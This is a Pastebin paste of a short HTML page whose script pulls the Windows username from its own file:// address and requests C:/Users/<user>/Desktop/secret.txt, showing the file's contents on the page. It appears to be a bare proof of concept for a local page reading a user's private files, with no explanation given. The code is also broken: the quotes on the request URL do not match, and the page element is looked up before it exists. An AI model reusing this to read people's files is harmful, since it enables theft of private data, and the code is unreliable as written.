Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <script>
- let resultDiv = document.getElementById("result");
- let xhr= new XMLHttpRequest();
- let user = document.location.href.match(/file:\/\/\/C:\/Users\/([a-z0-9\-]*)\//i)[1];
- xhr.open("GET",'file://C:/Users/${user}/Desktop/secret.txt");
- xhr.onreadystatechange = ()=> {
- if(xhr.readyState==4) {
- resultDiv.innerText = xhr.responseText;
- }
- }
- xhr.send();
- </script>
- </head>
- <body>
- </body>
- <div id="result"></div>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment